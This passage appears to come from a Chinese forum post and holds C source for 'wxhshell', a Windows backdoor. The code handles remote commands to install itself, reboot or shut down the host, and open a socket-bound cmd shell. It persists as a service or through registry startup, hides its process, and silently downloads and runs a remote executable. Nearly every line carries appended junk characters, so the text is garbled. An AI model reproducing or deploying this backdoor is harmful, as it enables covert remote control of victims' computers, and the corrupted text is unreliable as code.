  } 5*-3? <)e  
  else { 7^6uG6  
+9;2xya2  
    switch(cmd[0]) { fS&6  
  X[yNFW}S2W  
  // 帮助 na+d;h*~y  
  case '?': { 9i q""  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #]Y>KX2HG  
    break; mN_Z7n;^eh  
  } c3TKl/  
  // 安装 #FxPj-3(ix  
  case 'i': { jM)C4ii.-$  
    if(Install()) k@mVxnC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4=8QZf0\  
    else \;X+X,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5\fCd|  
    break; zg)sd1@  
    } K4ZolWbU  
  // 卸载 eOT+'[3"  
  case 'r': { ;3eKqr0  
    if(Uninstall()) $A_]:qI2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>< 0[EPj3  
    else [{u(C!7L`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]e?x# <S  
    break; -V.d?A4"  
    } !D^c3d  
  // 显示 wxhshell 所在路径 `{v?6:G:Q  
  case 'p': {  l! bv^  
    char svExeFile[MAX_PATH]; i]{1^pKq  
    strcpy(svExeFile,"\n\r"); 3>M&D20Z  
      strcat(svExeFile,ExeFile); !U%T&?E l  
        send(wsh,svExeFile,strlen(svExeFile),0);  >w6taX  
    break; >o,^b\  
    } /#NYi,<{X  
  // 重启 Q n)d2-<  
  case 'b': { $tqJ/:I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T#@lDpO  
    if(Boot(REBOOT)) y[};J vk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>:]Bx#F7  
    else { xgu `Q`~  
    closesocket(wsh); cf_|nL#9  
    ExitThread(0); x3+oAb@o/  
    } I?#85l{>  
    break; 9p* gU[  
    } HvwYm.$zE  
  // 关机 `mfq 2bVc  
  case 'd': { /UcV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iSLGwTdLn  
    if(Boot(SHUTDOWN)) ,i9Byx#TN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ga>uFb}W~  
    else { K BE Ax3  
    closesocket(wsh); B;6]NCx D  
    ExitThread(0); 9LnN$e  
    } X!hIwiA,t  
    break; E(pF:po  
    } {PU!=IkTS  
  // 获取shell 'wasZ b<^  
  case 's': { UB`ToE|Ii  
    CmdShell(wsh); m><w0k?t  
    closesocket(wsh); N7r_77%m0  
    ExitThread(0); {]*x*aa\  
    break; !`JHH&  
  } aVs(EHF  
  // 退出  +ECDD'^!  
  case 'x': { lT&wOm3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L WoG4s?w  
    CloseIt(wsh); h5_G4J{1  
    break; 0-Y:v(|.  
    } +yob)%  
  // 离开 %sBAl.!BN  
  case 'q': { &.13dq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MB ju![n  
    closesocket(wsh); j1q[2'  
    WSACleanup(); s.Y4pWd5@  
    exit(1); cLa]D[H  
    break; pL=d% m.W  
        } mMx ;yZ  
  } !rDdd%Z  
  } w.\w1:d  
[S]S^ej*8  
  // 提示信息 tY${M^^<J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vr^~yEr  
} qLL,F  
  } [H\:pP8t  
54;J8XT7  
  return; WL,&-*JAW  
} rB~W Iu  
j:T/iH!YF  
// shell模块句柄 []R? ViG  
int CmdShell(SOCKET sock) o; a:Dd  
{ 6Tw#^;q-  
STARTUPINFO si; =\#%j|9N9  
ZeroMemory(&si,sizeof(si)); X=JmF97  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sbkQ71T:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }eQRN<}P  
PROCESS_INFORMATION ProcessInfo; 9//+Bh  
char cmdline[]="cmd"; W%2 80\h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V=He_9B  
  return 0;  XY.5Rno4  
} @RFs/'  
\I-#1M  
// 自身启动模式 TC~Q G$NW  
int StartFromService(void) ne61}F"E  
{ -! ;l~#K=  
typedef struct ,oxcq?7#4  
{ $8USyGi3J  
  DWORD ExitStatus; m=AqV:%|  
  DWORD PebBaseAddress; X{n- N5*  
  DWORD AffinityMask; (`>voi<^  
  DWORD BasePriority; Z@8vL  
  ULONG UniqueProcessId; f'Iz G.R  
  ULONG InheritedFromUniqueProcessId; .x`M<L#M(  
}   PROCESS_BASIC_INFORMATION; ^,F;M`[  
[ xOzzp4  
PROCNTQSIP NtQueryInformationProcess; $WYbm}j  
I$NhXZ)KT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EV#MQM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tt?58dm|  
-7/s]9o'  
  HANDLE             hProcess; O1 .w,U  
  PROCESS_BASIC_INFORMATION pbi; <^b7cOFQ  
G2LK]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <H1 `  
  if(NULL == hInst ) return 0; qmTb-~  
YSJy`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F/m^?{==~*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -LDCBc"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,uw132<b  
ONNpiK-  
  if (!NtQueryInformationProcess) return 0; SvN9aD1  
{U 'd}Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Wy <?O2  
  if(!hProcess) return 0; A7! g  
72sD0)?A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6C>_a*w  
PiV7*F4qI.  
  CloseHandle(hProcess); n9pN6,o+  
1Gt/Tq$_b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <PPNhf8  
if(hProcess==NULL) return 0; I/VxZ8T  
D'Z|}(d&  
HMODULE hMod; l no vykR  
char procName[255]; ;U1UFqZ`  
unsigned long cbNeeded; kyAXRwzI  
Am8x74?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [s9O0i" Y  
@prG%vb"  
  CloseHandle(hProcess); 4`Q3v4fOF  
;fw1  
if(strstr(procName,"services")) return 1; // 以服务启动 ky 8ep  
ml@2wGyf  
  return 0; // 注册表启动 tNsPB6 Z  
} ,D\GGRw  
nA|.t  
// 主模块 <APB11  
int StartWxhshell(LPSTR lpCmdLine) nf 1#tlIJd  
{ >FhK #*Pa  
  SOCKET wsl; ,f}UGd[a  
BOOL val=TRUE; ug{R 3SS  
  int port=0;  hjO*~  
  struct sockaddr_in door; WwC 5!kZ  
2([2Pb3<"  
  if(wscfg.ws_autoins) Install(); &U+ _ -Ph  
\BWyk A>  
port=atoi(lpCmdLine); 7r|(}S  
Q0Nyqhvi  
if(port<=0) port=wscfg.ws_port; )uv=S;+  
_3]][a,  
  WSADATA data; {_(\` >  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; as=m`DqOh  
?[*0+h`en  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9Rek4<5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !-m&U4Ku6o  
  door.sin_family = AF_INET; 7&KT0a*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '(f/~"9B  
  door.sin_port = htons(port); x^"E S%*  
Ladsw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xtwun  
closesocket(wsl); AamVms  
return 1; =9kN_:-  
} L lBN-9p  
liR ?  
  if(listen(wsl,2) == INVALID_SOCKET) { :K\mN/ x  
closesocket(wsl); O62b+%~F  
return 1; pV6d Id  
} K1V#cB WO  
  Wxhshell(wsl); {;2vmx9  
  WSACleanup(); ]"c+sMW  
h^ -. ]Y  
return 0; 2+Px'U\  
jBaB@LO9G  
} :'aAZegQY  
dd?x(,"A`  
// 以NT服务方式启动 0y&I/2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8/z3=O&  
{ +0),xu  
DWORD   status = 0; ;['[?wk  
  DWORD   specificError = 0xfffffff; 0&ByEN9 9  
@!&}}"<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *9)SmS s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b3wM;jv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {JV@"t-X3"  
  serviceStatus.dwWin32ExitCode     = 0; "EU{8b  
  serviceStatus.dwServiceSpecificExitCode = 0; G/%iu;7ZCb  
  serviceStatus.dwCheckPoint       = 0; >NB?& |  
  serviceStatus.dwWaitHint       = 0; %4 \OPw&  
9WJz~SP+vR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E~<`/s  
  if (hServiceStatusHandle==0) return; IrMl:+t\  
RE.r4uOJg  
status = GetLastError(); uxg9yp@|  
  if (status!=NO_ERROR) X0 -IRJ[  
{ dD<fn9t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TO2c"7td  
    serviceStatus.dwCheckPoint       = 0; v^ d]r Sm  
    serviceStatus.dwWaitHint       = 0; Jc)^49Rf  
    serviceStatus.dwWin32ExitCode     = status; U/lM\3v/e  
    serviceStatus.dwServiceSpecificExitCode = specificError; nA?Hxos  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DO7W}WU  
    return; ~OePp a\  
  } u*  
9 2MTX Osp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [FUjnI  
  serviceStatus.dwCheckPoint       = 0; <o2r~E0r3  
  serviceStatus.dwWaitHint       = 0; A]L%dFK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,ZblI O Wb  
} jL)WPq!m+  
KJE[+R H+z  
// 处理NT服务事件,比如:启动、停止 IlX$YOf4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |^28\sm2e  
{ r%DFve:%  
switch(fdwControl) 50dGBF  
{ P;PQeXKw  
case SERVICE_CONTROL_STOP: 8G>>i)Sbg  
  serviceStatus.dwWin32ExitCode = 0; vpPl$ga5bY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7u\*_mrv  
  serviceStatus.dwCheckPoint   = 0; x\2?ym@  
  serviceStatus.dwWaitHint     = 0; $8l({:*q0  
  { Wl h~)   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B*htN  
  } R(j1n,c]  
  return; D@EO=08<b  
case SERVICE_CONTROL_PAUSE: ,Ma.V\T[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y32O-I!9u  
  break; c:83LZ  
case SERVICE_CONTROL_CONTINUE: vd`}/~o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @H!$[m3  
  break; g<*BLF  
case SERVICE_CONTROL_INTERROGATE: )XQ`M?**M  
  break; ? muzU.h"z  
}; B= keBO](@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %LXM+<N8  
} "o& E2#  
(wc03,K^  
// 标准应用程序主函数 +l^LlqA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5-)#f?  
{ >hY" 3  
}AZc8o-  
// 获取操作系统版本 9;F bnp'  
OsIsNt=GetOsVer(); TwyM\9l7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'gQidf  
EL3|u64GO  
  // 从命令行安装 p2PY@d}}.  
  if(strpbrk(lpCmdLine,"iI")) Install(); cNzt%MjP  
(]/9-\6(#  
  // 下载执行文件 bbxLBD'  
if(wscfg.ws_downexe) { .I3?7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bYe;b><G  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oo?,fw  
} 4E44Hzs  
D[O{(<9  
if(!OsIsNt) { ?}Z1(it0  
// 如果时win9x,隐藏进程并且设置为注册表启动 E2GGEKrW  
HideProc(); iAY!oZR(WT  
StartWxhshell(lpCmdLine); \yrisp#`  
} :hGPTf  
else _wb0'xoK"  
  if(StartFromService()) 93[DAs  
  // 以服务方式启动 RkF D*E$  
  StartServiceCtrlDispatcher(DispatchTable); u6:pV.p  
else =O|c-k,f@  
  // 普通方式启动  2A4FaBq"  
  StartWxhshell(lpCmdLine); 2?@j~I=s2h  
&Bx J  
return 0; -Xz?s  
}
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只看该作者 1 发表于: 2006-10-10
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